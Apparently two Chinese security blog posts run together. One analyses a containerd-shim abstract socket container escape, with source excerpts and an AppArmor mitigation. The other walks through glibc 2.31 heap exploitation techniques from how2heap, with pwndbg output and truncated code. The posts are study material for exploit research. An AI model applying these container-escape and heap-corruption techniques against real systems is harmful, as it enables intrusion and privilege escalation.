其中,containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。
它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。containerd 还提供了可用于与其交互的 API 和客户端应用程序 ctr。所以实际上,即使不运行 Docker Daemon,也能够直接通过 containerd 来运行、管理容器。
而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd
关于 containerd-shim 的作用细节可以参考作者的 slide
最终 ** containerd-shim ** 创建的容器的操作其实还是落实到了 runc 上, 而众所周知runC 是一个根据 OCI (Open Container Initiative)标准创建并运行容器的 CLI tool。
漏洞原因在前言部分已经写得很清楚了,说白了就说 暴露了不该有的 API 接口,而 containerd-shim 的 API 接口由 Unix 域套接字 实现。代码实现位于
实际上在, docker 容器中(以 –net=host 运行), containerd-shim API 大概长这样
1)/var/run/docker.sock:Docker Daemon 监听的 Unix 域套接字,用于 Docker client 之间通信;
2)/run/containerd/containerd.sock:containerd 监听的 Unix 域套接字,Docker Daemon、ctr 可以通过它和 containerd 通信;
3)@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:
这个就是上文所述的,containerd-shim 监听的 Unix 域套接字,containerd 通过它和 containerd-shim 通信,控制管理容器。
/var/run/docker.sock、/run/containerd/containerd.sock 这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享 mnt 命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部之间仍然不能通过 /var/run/docker.sock、/run/containerd/containerd.sock 这样的路径连接对应的 Unix 域套接字。
但是 @/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字不一样,它没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。
containerd 传递 Unix 域套接字文件描述符给 containerd-shim。containerd-shim 在正式启动之后,会基于父进程(也就是 containerd)传递的 Unix 域套接字文件描述符,建立 gRPC 服务,对外暴露一些 API 用于 container、task 的控制:
通过查阅代码,我们大概知道我们如果能正常访问 containerd-shim 接口,我们大概能有这些操作
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto
1 | service Shim { |
这些接口,从名字基本可以猜测与容器管理说有关系的, 比如 Create
、Start
、Delete
通过查看代码
1 | // UnixSocketRequireSameUser resolves the current effective unix user and returns aStephen J Day, 3 years ago: • vendor: update ttrpc to pull in euid change |
UnixSocketRequireSameUser
仅仅检查了访问进程的 euid 和 egid ,而在默认情况下容器内部的进程都是以 root 用户启动,所以这个限制可以忽略不计。
漏洞利用需要构建 gRPC ,我们可以通过查阅代码, 查看 ontainerd 项目呢关于 shim-client 是如何编写的
1 | // WithConnect connects to an existing shim |
通过 ttrpc 构建 client,此时 conn 为 unix 套字节
然后返回 client
1 | ... ... |
1 | // ShimRemote is a ShimOpt for connecting and starting a remote shim |
1 | func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) { |
例如这样的操作
更多的交互操作可以参考 张一白的 PoC
至于具体的利用,在这里就不进行细节探讨了,可以由读者自行完成。最后放一个我的利用视频
另外欢迎大家关注我的推特: https://twitter.com/bestswngs/status/1334867563914915840升级 containerd 至最新版本。
通过添加如 deny unix addr=@**的AppArmor策略禁止访问抽象套接字。
https://www.chainnews.com/articles/937146786717.htm
https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4
前几天 how2heap 更新了,将主仓库划分成了 2.23 、2.27 以及 2.31 三个分类,这里我们来复习(学习) 一下 glibc 2.31 下的一些 heap exploit
关于 fastbin attack 在glibc 2.31 上没有什么变化, 这里给的样例是通过 double-attack 漏洞修改 构造两个指针指向同一个 chunk 的情景。
程序首先 malloc 了 8 次, 然后 free 了7次(用来填充 tcache bins)
1 | void *ptrs[8]; |
此时 tcachebins 已经填满
1 | pwndbg> bins |
然后用 calloc 分配 3 个chunk , 使用 calloc 分配的时候,此时不会从 tcachebins 拿已经 free 的 chunk
1 | 20 printf("Allocating 3 buffers.\n"); |
然后进行 double free 操作即
1 | free(a); |
此时我们注意到
1 | pwndbg> bins |
此时存在
1 | +----------------------------+ |
chunk a 指向 chunk b ,同时 chunk b 也指向了 chunk a
然后如果我们再把他们占回来,
1 | In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/fastbin_dup.c |
就会存在两个指针指向同一块 chunk,通常而言我们的下一步利用会找一个 size 符合当前fastbin 链的地址(_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。),然后在分配出 chunk a 的同时修改 chunk a 的 fd
1 | pwndbg> telescope 0x5555555593a0 |
此时fastbin 链的结构就会被修改
1 | pwndbg> bins |
当执行到 分配 c chunk 的时候 ,我们就会拿到目标内存,总结一下就是
通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。
完整代码如下:
1 |
|
首先分配一定数量的 chunk
1 | 19 // Allocate 14 times so that we can free later. |
然后 free 填充 tcache
1 | 31 // Fill the tcache. |
释放我们的目标 chunk 即这里的 ptrs[7]
1 | char* victim = ptrs[7]; |
释放剩下的 8-14 的chunk
然后假设我们有一个堆溢出漏洞,可以覆盖 victim 的内容,我们此时将 栈上构造好的一个 list的地址赋予 victim
1 | 75 //------------VULNERABILITY----------- |
接下来,我们 malloc 7次 清空 tcache bin
1 | ──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────── |
我们发现 fastbin 的最后一个的 fd被我们写成了 stack 的地址
1 | pwndbg> bins |
此时我们 malloc 一次
1 | ──────────────────────────────────────────────────────────────── |
此时,原本在fastbin 的chunk list 都被放到了 tcaceh bins 里
如果我们最后再malloc 一次,我们就能拿到栈的地址 (tcache 不检查size域)
1 | ──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────── |
这样我们可以达到一个任意地址写 或者读的原语(取决于下一步对 这分配出来的chunk进行什么样的操作)
完整代码
1 | include <stdio.h> |
一种 tcache poisoning attack ,通过一些手段,在tcachebins 中写入目标地址
构造如下情景:
1 | pwndbg> parseheap |
此时的 tcache 是被填满的
1 | pwndbg> bins |
然后我们free a 再 free prev , 由于 prev 与 a 是相邻 chunk ,所以会触发合并,
1 | In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_botcake.c |
触发合并后,在 unsortedbin 里的是 prev chunk
1 | pwndbg> unsortedbin |
然后我们要想办法把 chunk a 放入 tcache bin里,由于此时 tcache bins 是满的,所以我们先取一个出来, 然后再 free 一次 a
1 | In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_botcake.c |
此时 a chunk 就会被放入 tcahcebins 里,同时 prev 可以控制 chunk a 的内容
1 | pwndbg> bins |
所以我们从此时的 unsortedbin 给他分一块出来,然后修改其 fd 的值
1 | 64 puts("Launch tcache poisoning"); |
那么此时我们就成功污染了 tachebin 的内容
1 | pwndbg> bins |
我们接着只需要两次 malloc 就能拿到 0x7fffffffe260 这个地址
完整代码如下:
1 |
|
这里展示的是通过一字节溢出,取到任意地址的技术
首先,在堆上伪造一个 chunk
1 | ─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── |
该 fake chunk结构如下:
1 | pwndbg> malloc_chunk -f &a[0] |
然后我们在堆上布局两个 chunk 分别为 b 和 c
1 | pwndbg> parseheap |
然后此时假设我们有一个 一字节溢出,k可以覆盖到, c chunk 的size 位置,
1 | In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_einherjar.c |
那么当执行完之后, c chunk 的 prev_inused 位将被置零
1 | pwndbg> chunkinfo c-0x10 |
这样会导致 chunk a 被认为是 free 的
1 | pwndbg> parseheap |
由于我们在 chunk a 的位置放了一个 fake chunk,我们此时修改了 chunk c的size 位置,同时我们需要其 prev_size 合法,所以也要修改
1 | 83 // Write a fake prev_size to the end of b |
我们将 chunk b的preve size 修改为 0x60
紧接着,照样填满 tcache, 然后我们去free chunk c,由于 chunk c 的 prev_inused 为0,则认为前面的 chunk 是free 的此时会有一个向前合并的过程,这样我们就会有两个指针指向 fake chunk
1 | pwndbg> p c |
然后我们此时再 malloc 一个 0x158 大小的chunk ,合并后大小为 0x160, 然后此时 合并后的 chunk 就会被整块取出,
然后我们在进行如下操作
1 | 119 uint8_t *pad = malloc(0x28); |
那么此时 chunk b 也会加入到 tcache bin里,且指向了刚 free 的 pad chunk
1 | pwndbg> p b |
由于, chunk d 可对 chunkb进行任意修改 (堆块重叠了)
1 | pwndbg> x/40gx 0x5555555592b0-0x10 |
我们通过修改 chunk d 的内容来达到 修改 chunk b 的 fd 指针的目的,
1 | In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_einherjar.c |
最后我们只需两次 malloc 就能拿到目标地址
1 | 129 // take target out |
完整代码如下:
1 |
|
通过该技术向目标地址写入一个大值
2.30 之后关于 largs bin 的代码
1 | if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ |
这里加了两个检查
1 | if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) |
以及
1 | if (bck->fd != fwd) |
导致传统的 large bin attack 没法使用
但是存在一个新的利用路径:
首先布置如下的 heap
1 | pwndbg> parseheap |
0x20 的为 guard chunk ,避免 free 之后 chunk 合并 , 然后我们free p1,此时 chunk p1 会放入 unsortedbin
1 | ─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── |
然后我们再 malloc 一个比 p1 大的 chunk,此时 p1 会被放入到 lagrebin
1 | ─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── |
然后我们在 free p2 ( p2 大小小于 p1 h和 p3) , 此时 p2 就会被放入到 unsortedbin 里
1 | 65 free(p2); |
然后我们修改 p1 的 bk_nextsize 指向 target-0x20 , 此时的 p1 在 largebin 里
1 | ► 72 p1[3] = (size_t)((&target)-4); |
然后我们再 malloc 一个比 p2 大 chunk (此时 p2 在 unsortedbin 里),那么此时,就会将 p2 从 unsortedbin 取出,insert largebins 里,那么就存在如下代码
1 | if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ |
victim->fd_nextsize = fwd->fd;
—- > p1->fd_nextsize = p2->fd
victim->bk_nextsize = fwd->fd->bk_nextsize
——> p1->bk_nextsize = p2->fd->bk_next_size
1 | pwndbg> x/10gx p1-2 |
这样就成功在 target 目标写入 p2->fd->bk_next_size 的值,即 0x00005555555596e0
1 | pwndbg> p/x target |
通常而言,这种写大数的行为,我们可以用来修改 global_max_fast
完整代码如下:
1 |
|
通过修改 size 造成堆重叠,然后拿到两个指针指向同一个 chunk
构造如下 chunk
1 | pwndbg> parseheap |
p1 是 大小 0x80 的chunk, p2 是大小为 0x500 的chunk ,p3 是大小为 0x80 的chuk
然后修改 p2 的大小 为 p2 +p 3
1 | 44 /* VULNERABILITY */ |
再然后释放 p2
1 | 48 printf("\nNow let's free the chunk p2\n"); |
再分配一个新的 大小符合修改之后的 chunk, 可以把 修改完 chunk 之后的 p2+p3 重新分配回来
1 | 56 p4 = malloc(evil_region_size); |
我们就会发现 p4 和 p3 重叠了
1 | pwndbg> telescope p3 |
GLibC中的Mmap chunks入门知识 ==================================在GLibC中,有一个点,当一个分配是如此之大,以至于malloc决定我们需要一个单独的内存部分来处理它,而不是在正常的堆上分配它。这是由 mmap_threshold var.代替正常的获取块的逻辑,系统调用 Mmap。这将分配一段虚拟内存,并把它还给用户。同样,释放过程也会有所不同。释放的块不是还给一个bin或堆的其他部分,而是使用另一个syscall。*Munmap*. 它接收一个先前分配的Mmap块的指针,并将其释放回内核。Mmap chunks在大小元数据上有一个特殊的位:第二位。如果这个位被设置,那么这个块就被分配为一个Mmap块。Mmap分块有一个prev_size和一个size。大小*代表当前的 分块的大小。一个chunk的*prev_size*表示剩余的空间。的大小(不是直接低于大小的分块)。然而,fd和bk指针并没有被使用,因为Mmap chunks并没有返回到 的大小,就像GLibC Malloc中的大多数堆块一样。释放后, 分块必须是页面对齐的。下面的POC本质上是一个重叠的chunk攻击,但在mmap chunks上。这和https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c 非常相似。主要的区别是,mmapped chunks有特殊的属性,并且是 以不同的方式处理,创造出与正常情况下不同的攻击场景。重叠的分块攻击。还可以做其他的事情。如munmapping系统库、堆本身和其他东西。这只是一个简单的概念证明,目的是为了证明一般的 的方法来执行对 mmap 分块的攻击。 关于GLibC中mmap chunks的更多信息,请阅读这篇文章。http://tukan.farm/2016/07/27/munmap-madness/
首先使用 malloc 分配几个大的 chunk :
1 | 57 long long* top_ptr = malloc(0x100000); |
此时我们可以知道 mmap_chunk_3 的 preve size 和 size 分别为: 0 和 0x101002
假设我们此时有一个漏洞可以修改 preve_size
1 | 88 // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. |
我们将 prev_size 修改为 0x202002 , 然后我们 free mmap_chunk_3 ,
1 | 102 Because of this added restriction, the main goal is to get the memory back from the system |
这个时候我们再 malloc 一个大小 0x300000 , 由于前面发生的合并,所以我们会得到一个 重叠的 chunk
1 | 120 printf("Get a very large chunk from malloc to get mmapped chunk\n"); |
然后我们修改 overlapping_chunk 的数据内容的同时,就是把 mmap_chunk_2 的值修改了
1 | 135 // Show that the pointer has been written to. |
首先 malloc 一个 chunk
1 | 12 printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); |
此时在栈上我们有一个可控目标
1 | 20 printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); |
将这个可控目标伪造成一个一个chunk ,修改其大小
1 | ► 28 fake_chunks[1] = 0x40; // this is the size |
free 这个伪造的 chunk ,
1 | ► 34 a = &fake_chunks[2]; |
我们就会发现,在 tcache 上有一个栈地址
1 | pwndbg> bins |
此时,我们再malloc 一次,就能把这个栈地址拿回来
1 | ─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── |
通过劫持修改 tcache fd 的形式来,来获取一个目标地址, 这里的目标是一个栈地址, 作用于 8 挺相似的
malloc 两个 chunk ,分别为 a 和 b
1 | 21 printf("Allocating 2 buffers.\n"); |
然后再一次将他们 free
1 | 27 printf("Freeing the buffers...\n"); |
就有如上的链表结构,假设我们可以溢出第一个 chunk,那么们就能修改第二个 chunk 的fd ,则我们将 chunk b 的fd 修改为栈地址,此时 tcachebins 就变成如下
1 | In file: /pwn/tcache_poisoning.c |
我们就发现 变成了 b —> &stack_var ,然后我们只需 malloc 两次就能将栈地址拿到
1 | ─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── |
tcache 上的 stashing unlink attack
当你能够覆盖victor->bk指针时,可以使用这个技术。此外,至少需要用calloc分配一个chunk。
在glibc中,将smallbin放入tcache的机制给了我们发动攻击的机会. 这种技术允许我们把libc addr写到任何我们想要的地方,并在任何需要的地方创建一个假的chunk。在这种情况下,我们将在堆栈上创建一个假的chunk.
例如此时我们在栈上伪造一个 chunk
1 | 22 stack_var[3] = (unsigned long)(&stack_var[2]); |
首先让我们向 fake_chunk->bk 写一个可写的地址,以绕过 glibc 中的 bck->fd = bin。这里我们选择stack_var[2]的地址作为fake bk。之后我们可以看到*(fake_chunk->bk + 0x10),也就是stack_var[4]在攻击后将成为libc addr
malloc 9 个chunk
1 | 29 for(int i = 0;i < 9;i++){ |
free 7 个chunk,填满 tcache
1 | 36 for(int i = 3;i < 9;i++){ |
这个我们注意一下, tcache bin 的最后一个bin是 chunk_lis[1]
然后在 unsort bin 里放入两个 chunk
1 | 44 //now they are put into unsorted bin |
然后分配一个大于 0x90 的chunk ,这个时候 chunk0 和 chunk2 会被放入 smallbin 里
1 | ► 49 printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); |
然后,我再 malloc 两个 chunk ,从tcache bin 取出两个 chunk
1 | pwndbg> bins |
然后此时,我们假设有一个漏洞能修改 chunklis[2]的 bck
1 | 61 //change victim->bck |
此时 bins 如下
1 | pwndbg> bins |
然后我们 calloc 一个新 chunk ,此时将 chunk[0] (calloc 不会从 tcache 取)
smallbin 的chunk 会被重新填充到 tache bin里,然后我们可以通过 tcache 没有严格的检查,再将 fake chunk 取出
1 | pwndbg> bins |
1 | In file: /pwn/tcache_stashing_unlink_attack.c |
分配两个足够大的 chunk ,free 后不会被放入 fastbin 和tcache (0x420)
1 | 15 printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); |
然后我们需要在堆上伪造一个 chunk ( 我们设置我们的假块大小,这样就可以绕过https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f中介绍的检查。)
1 | 29 chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; |
我们设置好 size , fd ,bk 以
1 | pwndbg> x/30gx 0x56540553d2a0-0x20 |
我们假设我们在chunk0中有一个溢出,这样我们就可以自由地改变chunk1的数据
例如改 chunk1 的preve size 和 size
bypass check
(P->fd->bk != P || P->bk->fd != P)== False
1 | In file: /pwn/unsafe_unlink.c |
此时就会判断 chunk0 为 free 状态,然后我们free chunk1_ptr 就会发生 unlink, unlink fake chunk的链接,覆盖chunk0_ptr
最后 我们可以使用chunk0_ptr覆盖自身,另其指向一个任意位置,达到一个任意地址写的目的
1 | ► 54 chunk0_ptr[3] = (uint64_t) victim_string; |